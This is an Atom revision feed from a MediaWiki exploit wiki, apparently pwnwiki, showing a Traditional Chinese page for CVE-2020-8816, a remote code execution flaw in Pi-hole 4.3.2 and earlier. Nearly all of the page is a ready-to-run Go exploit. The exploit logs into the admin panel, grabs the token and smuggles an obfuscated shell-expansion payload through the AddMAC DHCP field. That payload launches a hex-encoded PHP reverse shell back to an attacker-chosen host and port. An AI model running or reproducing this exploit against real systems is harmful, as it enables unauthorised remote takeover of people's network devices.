<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-hant</id>
	<title>CVE 2020-8816 Pi-hole 遠程代碼執行漏洞/zh-hant - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-hant"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;action=history"/>
	<updated>2026-04-09T02:48:41Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;diff=5198&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==影響版本==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE_2020-8816_Pi-hole_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&amp;diff=5198&amp;oldid=prev"/>
		<updated>2021-06-16T09:40:52Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==影響版本==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==影響版本==&lt;br /&gt;
Pi-hole &amp;lt;= 4.3.2&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://target/admin/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package main&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import (&lt;br /&gt;
   &amp;quot;flag&amp;quot;&lt;br /&gt;
   &amp;quot;log&amp;quot;&lt;br /&gt;
   &amp;quot;strings&amp;quot;&lt;br /&gt;
   &amp;quot;github.com/anaskhan96/soup&amp;quot;&lt;br /&gt;
   &amp;quot;encoding/hex&amp;quot;&lt;br /&gt;
   &amp;quot;github.com/levigross/grequests&amp;quot;&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
type Options struct {&lt;br /&gt;
   url, password, host, port string&lt;br /&gt;
  &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
var HOST string&lt;br /&gt;
var URL string&lt;br /&gt;
var PORT string&lt;br /&gt;
var PASSWD string&lt;br /&gt;
&lt;br /&gt;
func generate_shell() string{&lt;br /&gt;
   payload := &amp;quot;php -r '$sock=fsockopen(\&amp;quot;HOST\&amp;quot;, PORT);exec(\&amp;quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3\&amp;quot;);'&amp;quot;&lt;br /&gt;
   payload = strings.Replace(payload, &amp;quot;HOST&amp;quot;, HOST, 1)&lt;br /&gt;
   payload = strings.Replace(payload, &amp;quot;PORT&amp;quot;, PORT, 1)&lt;br /&gt;
   return hex.EncodeToString([]byte(payload))&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
func extractFlags() *Options {&lt;br /&gt;
   urlPtr := flag.String(&amp;quot;u&amp;quot;, &amp;quot;http://10.0.0.1/admin/&amp;quot;, &amp;quot;Set the Url of the admin panel&amp;quot;)&lt;br /&gt;
   passPtr := flag.String(&amp;quot;pass&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;Admin Password&amp;quot;)&lt;br /&gt;
   hostPtr := flag.String(&amp;quot;host&amp;quot;, &amp;quot;10.0.0.1&amp;quot;, &amp;quot;Set the host for the reverse shell&amp;quot;)&lt;br /&gt;
   portPtr := flag.String(&amp;quot;p&amp;quot;, &amp;quot;1337&amp;quot;, &amp;quot;Set Port for the reverse shell&amp;quot;)&lt;br /&gt;
   flag.Parse()&lt;br /&gt;
&lt;br /&gt;
   return &amp;amp;Options{*urlPtr, *passPtr, *hostPtr,*portPtr}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
func doLogin(ses *grequests.Session) *grequests.Session{&lt;br /&gt;
   log.Println(&amp;quot;Logging In...&amp;quot;)&lt;br /&gt;
   resp, err := ses.Post(URL+&amp;quot;index.php&amp;quot;,&amp;amp;grequests.RequestOptions{Data: map[string]string{&amp;quot;pw&amp;quot;: PASSWD}})&lt;br /&gt;
   if err != nil {&lt;br /&gt;
       log.Fatal(&amp;quot;Error logging-in: &amp;quot;, err)&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   if resp.Ok != true {&lt;br /&gt;
       log.Println(&amp;quot;Request for log-in did not return OK&amp;quot;)&lt;br /&gt;
   }&lt;br /&gt;
   log.Println(&amp;quot;Logged In!&amp;quot;)&lt;br /&gt;
   return ses&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
func getToken(ses *grequests.Session) string{&lt;br /&gt;
   resp, err:= ses.Get(URL+&amp;quot;index.php&amp;quot;,nil)&lt;br /&gt;
       if err != nil {&lt;br /&gt;
       log.Fatal(&amp;quot;Error getting token: &amp;quot;, err)&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   if resp.Ok != true {&lt;br /&gt;
       log.Println(&amp;quot;Request for getting token did not return OK&amp;quot;)&lt;br /&gt;
   }&lt;br /&gt;
   html := soup.HTMLParse(resp.String())&lt;br /&gt;
   token := html.Find(&amp;quot;div&amp;quot;,&amp;quot;id&amp;quot;,&amp;quot;token&amp;quot;).Text()&lt;br /&gt;
   return token&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
func Exploit(ses *grequests.Session, token string, payload string) {&lt;br /&gt;
   full_payload := &amp;quot;aaaaaaaaaaaa&amp;amp;&amp;amp;W=${PATH#/???/}&amp;amp;&amp;amp;P=${W%%?????:*}&amp;amp;&amp;amp;X=${PATH#/???/??}&amp;amp;&amp;amp;H=${X%%???:*}&amp;amp;&amp;amp;Z=${PATH#*:/??}&amp;amp;&amp;amp;R=${Z%%/*}&amp;amp;&amp;amp;$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(\&amp;quot;&amp;quot; + payload + &amp;quot;\&amp;quot;));'&amp;amp;&amp;amp;&amp;quot;&lt;br /&gt;
   resp,err := ses.Post(URL + &amp;quot;settings.php&amp;quot;, &amp;amp;grequests.RequestOptions{Data: map[string]string{&lt;br /&gt;
       &amp;quot;AddMAC&amp;quot;:full_payload,&lt;br /&gt;
       &amp;quot;field&amp;quot;:&amp;quot;DHCP&amp;quot;,&lt;br /&gt;
       &amp;quot;AddIP&amp;quot;:&amp;quot;10.10.10.10&amp;quot;,&lt;br /&gt;
       &amp;quot;AddHostname&amp;quot;:&amp;quot;10.10.10.10&amp;quot;,&lt;br /&gt;
       &amp;quot;addstatic&amp;quot;:&amp;quot;&amp;quot;,&lt;br /&gt;
       &amp;quot;token&amp;quot;:token}})&lt;br /&gt;
           if err != nil {&lt;br /&gt;
       log.Fatal(&amp;quot;Error sending payload: &amp;quot;, err)&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   if resp.Ok != true {&lt;br /&gt;
       log.Println(&amp;quot;Request for sending payload did not return OK&amp;quot;)&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
func main(){&lt;br /&gt;
   options := extractFlags()&lt;br /&gt;
   HOST = options.host&lt;br /&gt;
   URL = options.url&lt;br /&gt;
   PORT = options.port&lt;br /&gt;
   PASSWD = options.password&lt;br /&gt;
   session := grequests.NewSession(nil)&lt;br /&gt;
   doLogin(session)&lt;br /&gt;
   log.Println(&amp;quot;Getting Token...&amp;quot;)&lt;br /&gt;
   token := getToken(session)&lt;br /&gt;
   log.Println(&amp;quot;Token:&amp;quot;,token)&lt;br /&gt;
   log.Println(&amp;quot;Generating payload...&amp;quot;)&lt;br /&gt;
   payload := generate_shell()&lt;br /&gt;
   log.Println(&amp;quot;Payload generated:&amp;quot;,payload)&lt;br /&gt;
   log.Println(&amp;quot;Sending exploit...&amp;quot;)&lt;br /&gt;
   Exploit(session, token, payload)&lt;br /&gt;
   log.Println(&amp;quot;Exploit executed, check your session&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>